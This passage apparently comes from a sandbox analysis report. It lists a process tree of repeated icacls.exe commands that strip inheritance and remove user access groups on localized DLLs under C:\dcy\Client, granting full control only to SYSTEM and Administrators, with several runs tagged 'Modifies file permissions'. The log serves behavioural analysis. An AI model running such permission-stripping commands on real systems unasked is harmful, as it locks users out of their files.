        icacls "C:\dcy\Client\pt-BR\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3756
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3660
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2688
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1820
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6000
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2188
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1116
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6132
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3988
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2608
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1540
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3964
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4784
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2676
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3128
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1684
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4340
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1868
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2116
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5676
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6048
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4756
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3404
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3440
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2104
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5844
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5296
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5308
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tools\VideoPlugin\VideoPlugin.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4740
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4728
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5888
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3000
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2452
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5420
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3620
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3780
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2096
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2388
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2984
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:244
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2264
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4952
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1156
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2724
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5856
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2100
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2956
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3208
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2792
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4224
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3024
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4244
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3304
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5708
      - C:\Windows\System32\icacls.exe
        
